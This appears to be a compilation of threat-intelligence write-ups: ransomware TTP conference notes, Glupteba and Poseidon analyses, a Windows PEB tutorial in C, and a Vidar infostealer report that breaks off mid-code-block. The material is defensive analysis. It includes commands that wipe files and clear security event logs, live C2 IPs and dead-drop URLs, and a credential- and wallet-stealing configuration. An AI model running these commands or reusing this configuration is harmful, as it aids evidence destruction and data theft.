# Top 10 Ransomware Trends: Board Responsibilities, Tracking Ransomware, and Mitigating Risk in 2022 From summer 2021 to early 2022, the ransomware ecosystem changed from high-profile, high-impact, big-game hunting activity to a period of relative quiet characterized by mid-level targets, higher ransom demands, and the first hacktivist ransomware attack on critical infrastructure.
# Is It Wrong to Try to Find APT Techniques in Ransomware Attack? **Secureworks** Kiyotaka Tamada Keita Yamazaki You Nakatsuru 2020/01/17 Japan Security Analyst Conference 2020 ## Overview ### Trend Changes of Ransomware Incidents - **Wannacry (May 2017)**: Large scale incident - Wannacry - **2018 ~**: More cases of attackers manually attacking corporate networks. Change decryption price according to the size of the organization and whether they have paid in the past. ### Typical Flow of Targeted Ransomware Incident 1. **Initial Access**: Mass-scan or mass-phish to find easily infected organizations. 2. **Dominance**: Dominate organization's network through privilege escalation, discovery, and lateral movement. 3. **Ransom**: Encrypt a large number of systems (and backups) using ransomware. 4. **Anti-Forensics**: Remove evidence using ransomware functions and command/tools. ## Case Study ### Results of Targeted Ransomware Incident Investigations #### Tactics, Techniques, and Procedures - **Initial Access Techniques**: - Domestic and overseas cases - Via public RDP or VPN - Use brute-force tools like NLBrute to identify weak passwords - Through malware attached to e-mail - Via Emotet (then download TrickBot) - Only in domestic cases: Via portable connection devices assigned global IP address + hosts vulnerable to MS17-010 - Only in overseas cases: Via Dridex (Bugat v5), CobaltStrike, Empire, Meterpreter ### Privilege Escalation Techniques - Password dump using Mimikatz - Executed via tools such as TrickBot and Empire - The account used for the intrusion is often already an administrator - Use PoC tools for specific vulnerabilities on GitHub ### Discovery Techniques - Scan and gather information using malware functionality - Use Advanced IP Scanner, Advanced Port Scanner, SoftPerfect Network Scanner, ProcessHacker, KPortScan3, PowerTools, etc. - Use Hyena, BloodHound, and SharpHound to search AD ### Lateral Movement Techniques - Use RDP, PsExec, and WMI - Use MRemoteNG, MRemoteNC, Putty, Ammyy Admin, etc. - Brute-force password breach using bruttoline - Use Empire, CobaltStrike, and ReGeorg ### Ransom Techniques - Run ransomware using PsExec, RDP, and WMI - Deploy and execute ransomware using RAT and post-exploitation framework functions - Use batch files or PowerShell scripts - Distribute ransomware using group policy functions (software installation and logon scripts) via AD server ### Types of Ransomware - Matrix, Phobos, GandCrab, GlobeImposter, Cropp, Dharma, Ryuk, MedusaLocker, Frendi, CrySiS, Scarab, Samsam, BitPaymer, Defray 777, REvil/Sodinokibi, rsa.exe/aes.exe ### Typical Features of Ransomware - File encryption using RSA-2048/RSA-4096 and AES-256 - Scan the network and add more PCs/servers to encrypt - Disable firewall - Anti-forensics: Erase VSS, disable startup repair - Display ransom note ### Anti-Forensics Techniques - Erase VSS, disable firewall using ransomware - Delete files using “sdelete.exe –p 5 <FileName>” - Delete event log using “pslog.exe -c security” ## Fight Against Targeted Ransomware Incidents ### Preparation 1. **Prevention**: Implement countermeasures to prevent “Initial Access,” “Dominance," and “Ransom." 2. **Detection and Initial Containment**: Quick initial containment to minimize damage. 3. **Response and Damage Control**: Recovery plan is required to quickly recover encrypted data and minimize business impact. ### Important Points for Preventing Damage Expansion and Recurrence - Identify and block the way attackers continue to access. - Mitigation of “Dominance” activity. - Company-wide monitoring and research. ## Summary and Predictions for Targeted Ransomware - Vulnerable devices will continue to be compromised directly from the Internet. - Ransomware downloaded by other malware is expected to increase. - Use of RAT and penetration testing tools is expected to increase in Japan. - Attackers may threaten organizations using confidential information they steal. ### Is It Wrong to Try to Find APT Techniques in Ransomware Attack? - Attackers aren't targeting specific organizations to encrypt or steal money. - Ransomware is just one way to make threats for money. - It is important in incident response to understand and prepare for the overall attack process. ### IoC - **Malware/Tool Name**: SHA-256 Hash - NLBrute1.2: E21569CDFAFBBDD98234EF8AFCC4A8486D2C6BA77A87A57B4730EB4A8BD63BC2 - NS.exe: F47E3555461472F23AB4766E4D5B6F6FD260E335A6ABC31B860E569A720A5446 - KPortScan3: 080C6108C3BD0F8A43D5647DB36DC434032842339F0BA38AD1FF62F72999C4E5 - SoftPerfect Network Scanner: 66C488C1C9916603FC6D7EC00470D30E6F5E3597AD9F8E5CE96A8AF7566F6D89 - MS16-032: 9F023D74CF5E16A231660805ADFC829C1BE24A6B1FA6CB3ED41F0E37FE95062B - rsa.exe: 48303E1B50B5D2A0CC817F1EC7FA10C891F368897B0AEA2D02F22701D169CE54 - mRemoteNC: 3BC3038749427E1D6DA05FD3972A86F3403B40102974BD241A233EBD2C3B8C5C - mRemoteNG: 9476FE1896669163248747785FA053ACA7284949945ABD37C59DAE4184760D58 - Ammyy Admin: 5FC600351BADE74C2791FC526BCA6BB606355CC65E5253F7F791254DB58EE7FA - xDedicLogCleaner: 878706CD11B5223C89AAEF08887B92A655A25B7C630950AFFA553574A60B922E - Advanced IP Scanner: 02EC949206023F22FE1A5B67B3864D6A653CC4C5BFCB32241ECF802F213805E8 - PCHunter: D1AA0CEB01CCA76A88F9EE0C5817D24E7A15AD40768430373AE3009A619E2691
# Glupteba Malware Hides in Plain Sight **Andrew Brandt** June 24, 2020 This morning, SophosLabs is publishing a report on a malware family whose infection numbers have been steadily growing since the beginning of the year. This malware, with its hard-to-pronounce name, has been getting regular updates and feature enhancements that seem to be focused on its ability to conceal itself from detection on infected computers. In our report, we’ve taken a deep dive into what makes the Glupteba malware distinctive. The core malware is, in essence, a dropper with extensive backdoor functionality, but it is a dropper that goes to great efforts to keep itself, and its various components, hidden from view by the human operator of an infected computer, or the security software charged with its protection. To accomplish these tasks, the creators of Glupteba have opted to take a modular approach to their malware, which can download and execute payloads intended to extend the functionality of the bot. Many of these payloads are exploit scripts and binaries that originate in open source tool repositories, like Github, and have been lifted whole-cloth from their archives to be leveraged against the victim’s computer. One of the ways Glupteba uses these exploits is for privilege escalation, primarily so it can install a kernel driver the bot uses as a rootkit, and make other changes that weaken the security posture of an infected host. The rootkit renders filesystem behavior invisible to the computer’s end user, and also protects any other file the malware decides to store in its application directory. A watcher process then monitors the rootkit and other components for any sign of failure or a crash, and can reinitialize the rootkit driver or restart a buggy component. That watcher process also gets used to deliver a surprising amount of bug reporting telemetry back to Glupteba’s creator(s). After all, an application crash is a very noticeable event, and if the goal of the malware is to maintain its stealth, then avoiding crashes is of paramount importance. The malware also uses the Windows Registry to its advantage, storing many of its configuration options under unobtrusive Registry key names. The names of some of these configuration values also provide a clue about Glupteba’s overall goals. For instance, the bot stores the name(s) of its command-and-control server(s) under a key labeled “CDN” – a term of art in the hosting industry that refers to a Content Delivery Network, a type of business that caches frequently-requested data so it can be retrieved more rapidly by a large population. We can infer from the bot’s propensity to self-protection and stealth, and this CDN label, that Glupteba’s creators intend this malware to be part of a service offering to other malware publishers, giving them a pay-per-install business model for malware delivery. ## Where Does Glupteba Come From? We found Glupteba in a large number of downloads that claimed to be installers of pirated, commercial software, but these are not likely to be the only sources of this malware. The Glupteba installers we found all share certain distinctive characteristics. Their filenames, for example, contained one of two unique strings of text, either -rtmd- or -fmld- in the middle of the filename. These strings turned out to be indicators the malware used to set certain parameters when first launched on the victim’s computer. These installers were technically droppers, which dropped then executed other components of the infection into specific directories on the infected system. The malware then protected these directories using the rootkit driver, which it installs to the DRIVERS folder under %system% on Windows computers. These drivers, under Windows 10, are usually named winmon.sys, winmonfs.sys, and winmonprocessmonitor.sys, but the dropper contains other versions that run on older Windows operating systems as well. The dropper component also sets up Registry keys where it stores configuration data. These are located under the Registry path HKEY_USERS\<SID>\Software\Microsoft\TestApp (in which SID represents the user account SID that executed the malware). The malware then profiles the infected system, produces a small report about the configuration of the system, and connects to a command-and-control server to upload the data and “register” the bot within the Glupteba botnet. The bot also spends a significant amount of effort attempting to shut down various protective measures built into Windows, and also attempts to terminate the processes of a long list of security or analysis tools that might otherwise alert a user to the infection, or prevent it from taking hold. As to how much success the bot achieves killing its adversarial processes, we don’t have all the data to know. ## Who Watches the Watchers? Once the bot is set up and configured, it initializes a process we call the “watcher” that, basically, continuously polls each of the other installed components to ensure they’re still running. If the watcher process (windefender.exe) finds that a driver or component has crashed, it will attempt to reinitialize/execute the payload. There are watcher components that monitor the core dropper and its own service entry, the state of Windows Defender (which the bot attempts to halt), a network proxy component the bot uses to communicate to the outside world, and the XMRig cryptocurrency miners it (currently) delivers as a payload. The watcher components keep an eye on the dropper for another reason: The dropper’s secondary function is to use the initial infected machine as a foothold from which it will scan the internal network wherever it is installed in search of vulnerable machines to which it can launch an EternalBlue exploit against, spreading the dropper laterally across the network to any other machines it can find. The Glupteba bot will try to use two different implementations of EternalBlue to spread itself around the network. The dropper actually contains both the “original” leaked implementation of EternalBlue as released by the Shadow Brokers hacker group, as well as an alternate implementation it will attempt to use if the first one fails. Once all the setup, spreading, and initial communication with the C2 is complete, the bot relaxes into a mode where it continuously polls the C2 server for instructions, and periodically sends telemetry about the functioning state of the Glupteba dropper and its components. The bot also begins scanning the public internet for routers made by MikroTik, and attempts to exploit any it finds using scripts embedded into the dropper. If any of the watcher components detect a crash, they retrieve the crash dump and, periodically, upload those dumps as well as a count of the number of crashes (labeled in the submission with the Russian text Количестводампов, which translates to “number of dumps”). ## Updating the C2 from the Blockchain One of Glupteba’s more intriguing features is the way that it retrieves an updated list of the servers where it downloads payloads (which it refers to as a “CDN,” or content delivery network). It does this by querying one or more bitcoin transaction IDs hardcoded into the binary. The JSON response to Glupteba’s blockchain queries includes the encoded string (“hex”) that updates the C2 server addresses. Inside the specific wallets it reads, the transaction data contains a long string of letters and numbers. The servers it queries return a JSON-formatted file that contains a field labeled OP_RETURN. The bot parses and decrypts the contents of this OP_RETURN field, which translates into one or more domain names, which the bot then adds to the Registry keys where it stores its configuration data. For a malware that delivers a cryptocurrency miner, it’s an interesting choice. After all, the bot’s payload is already communicating with bitcoin wallets and the blockchain, so perhaps the bot’s creators thought they would be able to sneak one additional connection past that nobody would notice. All the details about how the bots parse and decode the domain names out of these blockchain transaction logs are in the report. ## Preventing or Detecting Glupteba The Glupteba installers we’ve seen appear to be pirated software installers. End users may prevent infection by obtaining properly licensed software from official sources, rather than pirated copies of unknown provenance. Glupteba and its components, including the rootkit driver, are detected by Sophos endpoint products. The EDR team has built a list of queries that users of Sophos EDR 3.0 can use to perform proactive threat hunts against machines on their network. Those queries can be found on the Sophos Community forum. Indicators of compromise for the samples associated with this analysis can be found on the SophosLabs Github. ## Acknowledgments SophosLabs acknowledges the work of Luca Nagy, assisted by Gábor Szappanos, Ferenc László Nagy, Vikas Singh, and Ronny Tyink, to produce this research.
# Poseidon Group: a Targeted Attack Boutique Specializing in Global Cyber-Espionage By GReAT on February 9, 2016 During the latter part of 2015, Kaspersky researchers from GReAT (Global Research and Analysis Team) got hold of the missing pieces of an intricate puzzle that points to the dawn of the first Portuguese-speaking targeted attack group, named “Poseidon.” The group’s campaigns appear to have been active since at least 2005, while the very first sample found points to 2001. This signals just how long ago the Poseidon threat actor was already working on its offensive framework. Why has the Poseidon threat remained undetected for so many years? In reality, it has not. Most samples were detected promptly. However, Poseidon’s practice of being a ‘custom-tailored malware implants boutique’ kept security researchers from connecting different campaigns under the umbrella of a single threat actor. This approach entails crafting campaign components on-demand and sometimes fabricating entirely unique malicious artifacts. ## 1st Portuguese-speaking group The Poseidon APT attacks companies globally. Our research team was able to put together the disparate pieces of this puzzle by diligently tracing the evolution of Poseidon’s toolkit in pursuit of an overarching understanding of how the actor thinks and the specific practices involved in infecting and extorting its victims. With a set of tools developed for the sole purpose of information gathering and privilege escalation, the sophistication level of the campaign highlights that, today, regional actors are not far behind better-known players in the global game of targeted attacks. Becoming familiar with the operations of the Poseidon Group meant patiently dismantling their modus operandi to unearth the custom-designed infection tools deployed to each of their selected targets. This process revealed a series of campaigns with highly-regionalized malware practices and geographically-skewed victim tasking, unsurprising in a region with a gradually-maturing cybercrime industry. The proper detection of each iteration of their evolving toolkit may have been enough to thwart specific efforts, but to truly understand the magnitude of Poseidon’s combined operations required an archeological effort to match. ## Frequently Asked Questions ### What exactly is the Poseidon Group? The Poseidon Group is a long-running team operating on all domains: land, air, and sea. They are dedicated to running targeted attacks campaigns to aggressively collect information from company networks through the use of spear-phishing packaged with embedded, executable elements inside office documents and extensive lateral movement tools. The information exfiltrated is then leveraged by a company front to blackmail victim companies into contracting the Poseidon Group as a security firm. Even when contracted, the Poseidon Group may continue its infection or initiate another infection at a later time, persisting on the network to continue data collection beyond its contractual obligation. The Poseidon Group has been active, using custom code and evolving their toolkit since at least 2005. Their tools are consistently designed to function on English and Portuguese systems spanning the gamut of Windows OS, and their exfiltration methods include the use of hijacked satellite connections. Poseidon continues to be active at this time. ### Why do you call it Poseidon’s Targeted Attack Boutique? The presence of several text fragments found in the strings section of executable files belonging to the campaign reveal the actor’s fondness for Greek mythology, especially regarding Poseidon, the God of the Seas (which also coincides with their later abuse of satellite communications meant to service ships at sea). The boutique element is reflected in their artisanally adaptive toolkit for lateral movement and data collection which appears to change from infection to infection to fit custom-tailored requirements for each of their prospective clients. The business cycle includes what is euphemistically referred to as ‘financial forecasting’ using stolen information, so we like to say that Poseidon’s boutique not only deals in targeted attacks but also stolen treasures. ### How did you become aware of this threat? Who reported it? We noticed that several security companies and enthusiasts had unwittingly reported on fragments of Poseidon’s campaigns over the years. However, nobody noticed that these fragments actually belonged to the same threat actor. Perhaps because many of these campaigns were designed to run on specific machines, using English and Portuguese languages, with diverse command and control servers located in different countries and soon discarded, signing malware with different certificates issued in the name of rogue companies, and so on. By carefully collecting all the evidence and then reconstructing the attacker’s timeline, we found that it was actually a single group operating since at least 2005, and possible earlier, and still active on the market. With this understanding, GReAT researchers were able to recognize similarities in obfuscation and development traits leading back to widely-reported but little understood variants on a sample in 2015, which searched for prominent leaders and secret documents involving them. ### When did you discover this targeted attack? The very first samples from this campaign were detected by Kaspersky Lab back in the early 2000s. However, as noted previously, it is a very complex task to correlate indicators and evidence in order to put together all the pieces of this intricate puzzle. By the middle of 2015 it was possible to identify that throughout this period of time it’s been the same threat actor, which we call Poseidon Group. ### Who are the victims? What can you say about the targets of the attacks? The targets are companies in energy and utilities, telecommunications, public relations, media, financial institutions, governmental institutions, services in general and manufacturing. The geographical spread of victims is heavily skewed towards Brazil, the United States, France, Kazakhstan, United Arab Emirates, India and Russia. Many of the victims have joint ventures or partner operations in Brazil. The importance of the victims is not measured in numbers since each of these victims is a large-scale (often multinational) enterprise. ### What exactly is being stolen from the target machines? One of the characteristics of the group behind Poseidon is an active exploration of domain-based networks. Such network topology is typical for companies and enterprises. The highest value asset for these companies is proprietary information, technologies, and business-sensitive information that represents significant value in relation to investments and stock valuations. The Poseidon Group actively targets this sort of corporate environment for the theft of intellectual property and commercial information, occasionally focusing on personal information on executives. ### How does Poseidon’s APT Boutique infect computers? The main infection vector for Poseidon is the use of spear-phishing emails including RTF/DOC files, usually with a human resources lure. The executables are also often digitally signed and occasionally hidden in alternate data streams to fool security solutions. Poseidon’s toolkit displays an awareness of many antivirus providers over the years, attempting to attack or spoof these processes as a means of self-defense for their infections. Once the infection happens, it reports to the command and control servers before beginning a complex lateral movement phase. This phase will often leverage a specialized tool that automatically collects a wide array of information including credentials, group management policies, and even system logs to better hone further attacks and assure execution of their malware. This way the attackers actually know what applications and commands they can use without raising an alert to the network administrator during lateral movement and exfiltration. ### What does the Poseidon Group do? What happens after a target machine is infected? Once the target’s machine is compromised, the attacker first enumerates all processes running in the system and all services. Then the attacker looks for all administrator accounts on both the local machine and the network. This technique allows them to map network resources and make lateral movements inside the network, landing in the perfect machine to match the attacker’s interest. This reflects the Poseidon Group’s familiarity with Windows network administration. In many cases, their ultimate interest is the Domain Controller. Additionally, malware reports itself to its hardcoded command and control servers and establishes a backdoor connection, so the attacker may have a permanent remote connection. ### What are the malicious tools used by the Poseidon Group? What are their functions? Poseidon utilizes a variety of tools. Their main infection tool has been steadily evolving since 2005, with code remnants remaining the same to this day, while others have been altered to fit the requirements of new operating systems and specific campaigns. A noteworthy addition to the Poseidon toolkit is the IGT supertool (Information Gathering toolkit), a bulking 15 megabyte executable that orchestrates a series of different information collections steps, exfiltration, and the cleanup of components. This tool appears to be designed to operate on high-value corporate systems like Domain Controllers or IIS servers that act as repositories of valuable information, particularly for lateral movement. The Information Gathering Tool (IGT) is coded in Delphi and includes PowerShell and SQL components across a dozen different drops. This tool contains several other executable files made in different programming languages ranging from Visual Basic 6 to C#, each one performing a very clear task devised by the group when trying to obtain more information from an objective. The main purpose of the IGT tool is to make an inventory of the system, saving information from the network interfaces and addresses, credentials belonging to the Domain and database server, services being run from the OS and everything that could help the Poseidon Group make its attack more customized to its victim. ### Are the attackers using any zero-day vulnerabilities? No zero-day vulnerabilities have been found in the analysis of the samples obtained regarding this campaign. Poseidon’s conventional means of deceiving users with executable files posing inside Word and RTF document files, and actual poisoned documents with malicious macro-scripts has been the sole method used for compromising their desired targets. As we have seen in other targeted campaigns, social engineering and carefully crafted spear-phishing attacks play a crucial role in the effectiveness of getting a foothold in the desired system. ### Is this a Windows-only threat? Which versions of Windows are targeted? Poseidon is particularly focused on the Microsoft Windows operating system family, specifically customizing the infection method for each one so as to gather different information and hide its presence after the initial infection. Other products usually found in corporate environments, such as an SQL server, are being used for lateral movement and credential harvesting using a customized toolset designed by the crafty Poseidon Group. Because of Poseidon’s longevity, there are samples targeting Windows systems as early as Windows NT 4.0 Server and Windows 95 Workstation up to current versions like Windows 8.1, as well as server variants (very important to them, given the emphasis on reaching Domain Controllers in corporate environments). ### How is this different from any other targeted attack? The extortion elements of this campaign are what set it apart from others. The exfiltration of sensitive data is done in order to coerce the victim into a business relationship under the threat of exchanging this information with competitors or leveraging it as part of the company’s offering of ‘investment forecasting’. Additionally, this is the first ever publicly known Portuguese-speaking targeted attacks campaign. ### Are there multiple variants of the Poseidon Group’s malware? Are there any major differences in the variants? Poseidon has maintained a consistently evolving toolkit since the mid-2000s. The malware has not avoided detection but instead been so inconspicuous as to not arouse much suspicion due to the fact that this malware only represents the initial phase of the attack. An altogether different component is leveraged once Poseidon reaches an important machine like an enterprise’s Domain Controller. This is where the main collection takes place by use of the IGT (Information Gathering Tool) toolkit. ### Is the command and control server used by the Poseidon Group still active? Have you been able to sinkhole any of the command and controls? Poseidon Group has interesting practices when it comes to its use of command and control servers, including redundancies and quickly discarding command and control (C&Cs) servers after specific campaigns. This has actually allowed us to sinkhole several domains. A few of these still had active infections attempting to report to the C&Cs. This adds an interesting dimension to the story. As part of Kaspersky Lab’s commitment to securing cyberspace for everyone, we reached out and notified identifiable victims, regardless of their security solution and provided them with indicators of compromise (IOCs) to help root out the active infection. In the process, we were able to confirm the previously described operating procedures for the Poseidon Group. ### Is this a state-sponsored attack? Who is responsible? We do not believe this to be a state-sponsored attack but rather a commercial threat player. Collaboration with information-sharing partners and victim institutions allowed us to become aware of the more complicated business cycle involved in this story, greatly adding to our research interest in tracking these campaigns. The malware is designed to function specifically on English and Portuguese-language systems. This is the first ever Portuguese-speaking targeted attack campaign. ### How long have the attackers been active? The attackers have been active for more than ten years. The main distribution of samples goes back to 2005 with possible earlier outliers. Operating systems such as Windows 95 for desktop computers and Windows NT for server editions were not uncommon at the time and Poseidon’s team has evolved gradually into targeting the latest flagship editions of Microsoft’s operating systems. Recent samples show interest in Windows 2012 Server and Windows 8.1. ### Did the attackers use any interesting/advanced technologies? During a particular campaign, conventional Poseidon samples were directed to IPs resolving to satellite uplinks. The networks abused were designed for internet communications with ships at sea which span a greater geographical area at nearly global scale, while providing nearly no security for their downlinks. The malware authors also possess an interesting understanding of execution policies which they leverage to manipulate their victim systems. They combine reconnaissance of GPO (Group Policy Object management for execution) with digitally-signed malware to avoid detection or blocking during their infection phases. These digital certificates are often issued in the name of rogue and legitimate companies to avoid arousing suspicion from researchers and incident responders. ### Does Kaspersky Lab detect all variants of this malware? Yes, all samples are detected by signatures and also heuristics. With a fully updated Kaspersky Lab anti-malware solution, all customers are protected now. Kaspersky Lab products detect the malware used by Poseidon Group with the following detection names: - Backdoor.Win32.Nhopro - HEUR:Backdoor.Win32.Nhopro.gen - HEUR:Hacktool.Win32.Nhopro.gen ### How many victims have you found? At least 35 victim companies have been identified with primary targets including financial and government institutions, telecommunications, manufacturing, energy and other service utility companies, as well as media and public relations firms. The archaeological effort of understanding such a long-standing group can severely complicate victim identification. We see traces of upwards of a few tens of companies targeted. The exact number of the victims may actually vary. Since it is a very long-term group, some victims may be impossible to identify now. At this time, we are reaching out to victims of active infections to offer remediation assistance, IOCs, and our full intelligence report to help them counteract this threat. Any victims or potential targets concerned about this threat should please contact us at [email protected]. ### Who is behind these attacks? We do not speculate on attribution. Language code used to compile implants, as well as the language used to describe certain commands used by the group, actually corresponds to Portuguese from Brazil. The inclusion of Portuguese language strings and preference for Portuguese systems is prominent throughout the samples. The tasking of Poseidon’s campaigns appears to be heavily focused on espionage for commercial interests. Speculating further would be unsubstantiated. ### Reference samples hashes: - 2ce818518ca5fd03cbacb26173aa60ce - f3499a9d9ce3de5dc10de3d7831d0938 - 0a870c900e6db25a0e0a65b8545656d42fd8bb121a048e7c9e29040f9a9a6eee - 4cc1b23daaaac6bf94f99f309854ea10 - 2c4aeacd3f7b587c599c2c4b5c1475da - f821eb4be9840feaf77983eb7d55e5f6 - 2ce818518ca5fd03cbacb26173aa60ce ### Command and control servers: - akamaihub[.]com – SINKHOLED by Kaspersky Lab - igdata[.]net – SINKHOLED by Kaspersky Lab - mozillacdn[.]com – SINKHOLED by Kaspersky Lab - msupdatecdn[.]com – SINKHOLED by Kaspersky Lab - sslverification[.]net – SINKHOLED by Kaspersky Lab For more about counter Poseidon and similar attacks, read this article in the Kaspersky Business Blog.
# Anatomy of the Process Environment Block (PEB) The Process Environment Block (PEB) is a structure that holds data about the current process. Every process has its own PEB, and the Windows Kernel has access to the PEB of every user-mode process to track certain data stored within it. The PEB structure comes from the Windows Kernel and is accessible in user-mode. It is derived from the Thread Environment Block (TEB), which holds data about the current thread. ## Can the PEB be abused? Yes, the PEB can be abused for malicious purposes. In the past, rootkits would inject a DLL into another running process and access the PEB structure to locate the list of loaded modules and remove their own module from the list, thus hiding their injected module from view. This is known as memory patching. Microsoft has implemented mitigations to prevent manual alterations of the loaded modules list in user-mode, although it can still be accessed for reading. ## Theoretical We’re going to take a look at the TEB structure using WinDbg. Since the TEB structure is available in user-mode, we won’t require kernel-debugging to query about it. To start, open WinDbg and attach to notepad.exe. The command window will allow you to enter commands to get various results. We’ll use the `dt` instruction to display information about the TEB structure: ``` dt ntdll!_TEB ``` At the top of the structure, we’ll find the Process Environment Block’s field, labeled as “Ptr64 _PEB,” indicating it is a pointer to the PEB structure. To view the fields of the PEB structure, use the following command: ``` dt ntdll!_PEB ``` The PEB structure contains many fields, but we will focus on a select few during the practical sections. The PEB is located at FS:[0x30] in the TEB for 32-bit processes and at GS:[0x60] for 64-bit processes. The third field of the PEB structure, “BeingDebugged,” can be read to determine if the current process is attached to a debugger. This is a common vector closed by analysts debugging malicious software. ### IsDebuggerPresent The routine `IsDebuggerPresent` checks the “BeingDebugged” field of the PEB structure. Some malware samples may manually access the PEB structure to check for debuggers, making it stealthier. The PEB also contains fields like “IsProtectedProcess” and “IsProtectedProcessLight,” which indicate if the current process is protected by Windows. These mechanisms help prevent system processes from being exploited by attackers. ## User-Mode In this section, we’ll rewrite a few Win32 API routines in user-mode that rely on the PEB: 1. **GetModuleHandle** – using the Ldr field of the PEB structure 2. **GetModuleFileName** – using the ProcessParameters field of the PEB structure ### Structures ```c typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; WCHAR *Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef struct _RTL_USER_PROCESS_PARAMETERS { BYTE Reserved1[16]; PVOID Reserved2[10]; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; typedef struct _PEB_LDR_DATA { BYTE Reserved1[8]; PVOID Reserved2[3]; LIST_ENTRY InMemoryOrderModuleList; } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _LDR_DATA_TABLE_ENTRY { PVOID Reserved1[2]; LIST_ENTRY InMemoryOrderLinks; PVOID Reserved2[2]; PVOID BaseAddress; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; } PEB, *PPEB; typedef struct _TEB { NT_TIB NtTib; PVOID EnvironmentPointer; CLIENT_ID ClientId; PPEB ProcessEnvironmentBlock; } TEB, *PTEB; ``` ### GetModuleHandle Replacement ```c HMODULE GetModuleHandleWrapper(WCHAR *ModuleName) { PPEB ProcessEnvironmentBlock = NtCurrentPeb(); PPEB_LDR_DATA PebLdrData = { 0 }; PLDR_DATA_TABLE_ENTRY LdrDataTableEntry = { 0 }; PLIST_ENTRY ModuleList = { 0 }, ForwardLink = { 0 }; if (ProcessEnvironmentBlock) { PebLdrData = ProcessEnvironmentBlock->Ldr; if (PebLdrData) { ModuleList = &PebLdrData->InMemoryOrderModuleList; ForwardLink = ModuleList->Flink; while (ModuleList != ForwardLink) { LdrDataTableEntry = CONTAINING_RECORD(ForwardLink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); if (LdrDataTableEntry && LdrDataTableEntry->BaseDllName.Buffer) { if (!_wcsicmp(LdrDataTableEntry->BaseDllName.Buffer, ModuleName)) { return (HMODULE)LdrDataTableEntry->BaseAddress; } } ForwardLink = ForwardLink->Flink; } } } return 0; } ``` ### GetModuleFileName Wrapper ```c WCHAR *GetModuleFileNameWrapper() { PPEB ProcessEnvironmentBlock = NtCurrentPeb(); if (ProcessEnvironmentBlock && ProcessEnvironmentBlock->ProcessParameters) { if (ProcessEnvironmentBlock->ProcessParameters->ImagePathName.Buffer) { return ProcessEnvironmentBlock->ProcessParameters->ImagePathName.Buffer; } } return NULL; } ``` This overview of the PEB and its practical applications should help clarify its importance in Windows Internals. Thank you for reading.
# Microsoft Windows 11 Help: Vidar Spyware ## Summary In April 2022, ThreatLabz discovered several newly registered domains created by a threat actor to spoof the official Microsoft Windows 11 OS download portal. These domains were used to distribute malicious ISO files leading to a Vidar infostealer infection on the endpoint. The variants of Vidar malware fetch the C2 configuration from attacker-controlled social media channels hosted on Telegram and Mastodon. ThreatLabz believes that the same threat actor is leveraging social engineering to impersonate popular legitimate software applications to distribute Vidar malware. An attacker-controlled GitHub repository was identified, hosting several backdoored versions of Adobe Photoshop. These binaries distribute Vidar malware using similar tactics of abusing social media channels for C2 communication. In this blog, ThreatLabz analyzes the Vidar distribution vector, threat actor correlation, and technical analysis of the binaries involved in this campaign. ## Key Points - ThreatLabz discovered several newly registered domains spoofing the official Microsoft Windows 11 OS download portal. - The spoofed domains were distributing malicious ISO files containing samples of the Vidar infostealer malware. - The actual C2s used by the malware samples are obtained from attacker-controlled social media channels hosted on Telegram and Mastodon. - Using data obtained from this campaign, ThreatLabz identified another similar one using backdoored versions of Adobe Photoshop. ## Distribution Vector - Windows 11 Theme The threat actor registered several domains beginning April 20, 2022, that host web pages masquerading as the official Microsoft Windows 11 download page. All of these domains were used to spread malicious ISO files spoofed as a Windows 11 download. ### Technical Analysis **ISO File** The binary inside the ISO file is a PE32 binary. The size of the ISO file is very large (more than 300 MB), which helps the attackers evade network security products where there is a file size limitation. Example MD5 hashes for this campaign are shown below: - ISO file MD5 hash: `52c47fdda399b011b163812c46ea94a6` - PE32 file MD5 hash: `6352540cf679dfec21aff6bd9dee3770` The binary inside the ISO file is digitally signed with a certificate by AVAST. However, this certificate is expired and hence invalid. All binaries in this campaign were signed by a certificate with the same serial number, indicating it is likely a stolen certificate from the AVAST compromise back in 2019. **Vidar Samples** The Vidar samples in these campaigns are packed with Themida and over 330MB in size. However, the sample contains a PE file that is only around 3.3MB. The rest of the file content is artificially filled with 0x10 bytes to increase the file’s size. The Vidar strings extracted from these samples are provided in the Appendix section. ### Vidar Static Configuration The Vidar static configuration contains embedded parameters needed by the sample to communicate with its C2 and information including the malware version: - Profile: 670 - Profile ID: 739 - Version: 51.9 - URL marker: hello - URL1: `https://t.me/btc20220425` - Real C2: `195.201.250.209` - URL2: `https://ieji.de/@ronxik213` - Real C2: `107.189.11.124` The botnet can be identified by its profile ID. Both hardcoded URLs are from social media sites, used as a dead drop resolver as a first stage. The URL marker instructs Vidar to parse the second stage URL from the social media profiles located at the dead drop resolver. ### Example Vidar Stealer Configuration ``` 1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*c ``` This configuration is the default with every stealing function enabled (passwords, cryptocurrency wallets, two-factor authentication, etc.). ## Distribution Vector - Adobe Photoshop Theme ThreatLabz identified an attacker-controlled GitHub repository hosting backdoored versions of Adobe Photoshop Creative Cloud, attributed to the same threat actor. ### Technical Analysis The sample with the MD5 hash below belongs to this Adobe Photoshop theme campaign: - MD5: `6ae17cb76cdf097d4dc4fcccfb5abd8a` **Vidar Static Configuration:** - Profile: 1199 - Profile ID: 0 - Version: 51.8 - URL marker: hello - URL1: `https://t.me/mm20220428` - Real C2: `195.201.250.209` - URL2: `https://koyu.space/@ronxik123` - Real C2: `107.189.11.124` The Vidar stealer configuration downloaded from the C2 was the following: ``` 